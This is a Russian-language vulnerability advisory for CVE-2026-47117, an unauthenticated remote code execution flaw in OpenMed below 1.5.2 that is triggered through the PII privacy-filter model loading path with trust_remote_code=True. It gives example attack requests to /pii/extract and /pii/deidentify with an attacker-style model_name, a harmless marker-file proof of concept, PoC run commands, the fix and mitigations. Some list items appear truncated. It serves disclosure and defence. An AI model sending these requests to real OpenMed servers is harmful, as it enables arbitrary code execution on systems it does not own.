
OpenMed < 1.5.2 — неаутентифицированное RCE через загрузку модели privacy-фильтра PII и trust_remote_code=True
Критичность: Критическая, CVSS 4.0 9.3, CVSS 3.1 9.8 (присвоено VulnCheck, CNA)
Вектор (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Вектор (v3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Затронуто: OpenMed < 1.5.2
Исправлено в: 1.5.2
CWE: CWE-94 (Некорректный контроль генерации кода, инъекция кода)
Обнаружено и сообщено: Sai Teja Erukude
Опубликовано: 2 июня 2026 г.
OpenMed до версии 1.5.2 содержит уязвимость неаутентифицированного удалённого выполнения кода в пути загрузки модели PII privacy-filter.
Конечные точки REST API POST /pii/extract и POST /pii/deidentify принимают значение model_name из тела запроса. В уязвимых версиях диспетчер privacy-filter использовал широкое сопоставление по подстроке для этого контролируемого атакующим значения. Поэтому имя модели, например attacker/foo-privacy-filter-bar, могло направляться в бэкенд privacy-filter.
В развёртываниях без MLX/Torch этот бэкенд загружал артефакты модели Hugging Face через Transformers с trust_remote_code=True. Если контролируемый атакующим репозиторий модели содержал пользовательский код Transformers, на который ссылается auto_map в config.json или tokenizer_config.json, Transformers импортировал и выполнял этот код Python во время загрузки модели или токенизатора.
Импортированный код выполнялся с привилегиями процесса службы OpenMed.
Неаутентифицированный удалённый атакующий, имеющий доступ к REST API OpenMed, может выполнить произвольный код Python на сервере, указав в model_name вредоносный идентификатор модели в стиле Hugging Face.
В зависимости от развёртывания службы это может позволить:
Проблема достижима через обе конечные точки PII, поскольку обе принимают model_name и используют один и тот же путь извлечения PII/загрузки модели:
POST /pii/extract
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
POST /pii/deidentify
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
Уязвимый поток управления содержит два отказа на границе доверия:
model_name при выборе бэкенда privacy-фильтра.trust_remote_code=True.Диспетчер рассматривал любой идентификатор модели, содержащий privacy-filter, как часть семейства privacy-фильтров. Это позволяло контролируемым злоумышленником идентификаторам, например attacker/foo-privacy-filter-bar, достигать пути кода, предназначенного для доверенных первосторонних моделей Privacy Filter.
После маршрутизации туда Transformers мог загрузить контролируемый злоумышленником пользовательский код через auto_map. Этот импорт происходит во время загрузки модели/токенизатора, до того как какое-либо полезное инференс-вычисление должно успешно завершиться. Поэтому доказательство концепции может быть настолько малым, как:
from pathlib import Path
Path("marker.txt").write_text(
"custom Transformers code executed via trust_remote_code\n",
encoding="utf-8",
)
poc_exploit.py создаёт безвредный локальный каталог модели в стиле Hugging Face, имя которого содержит privacy-filter. Сгенерированные пользовательские модули Transformers записывают файл-маркер при импорте. Затем скрипт отправляет запрос к тестовому экземпляру OpenMed API, указывая этот каталог в качестве model_name.
Ожидаемое поведение на уязвимых версиях OpenMed:
model_name.trust_remote_code=True.Запускайте только против локального тестового экземпляра:
pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract
Если сервис OpenMed работает в среде, не имеющей доступа к созданному локальному каталогу, опубликуйте эквивалентную тестовую модель в контролируемом репозитории Hugging Face и явно передайте этот идентификатор:
python poc_exploit.py \
--target http://127.0.0.1:8000 \
--model-name your-org/foo-privacy-filter-bar \
--marker marker.txt
Обновитесь до OpenMed 1.5.2 или более поздней версии.
OpenMed 1.5.2 разделяет маршрутизацию и доверие:
privacy-filter, больше не маршрутизируются через доверенный путь privacy-filter.PrivacyFilterTorchPipeline по умолчанию устанавливает trust_remote_code в False.OPENMED_TRUSTED_REMOTE_CODE_MODELS.Если немедленное обновление невозможно:
model_name в Transformers с trust_remote_code=True.| Дата | Событие |
|---|---|
| 18 мая 2026 г. | Уязвимость отправлена в VulnCheck |
| 20 мая 2026 г. | VulnCheck инициировал скоординированное раскрытие |
| 22 мая 2026 г. | CVE-2026-47117 предварительно присвоен |
| 1 июня 2026 г. | Исправление в OpenMed 1.5.2 проверено и подтверждено |
| 2 июня 2026 г. | CVE-2026-47117 опубликован |
Обнаружено и сообщено Sai Teja Erukude.
Раскрытие координировалось через VulnCheck.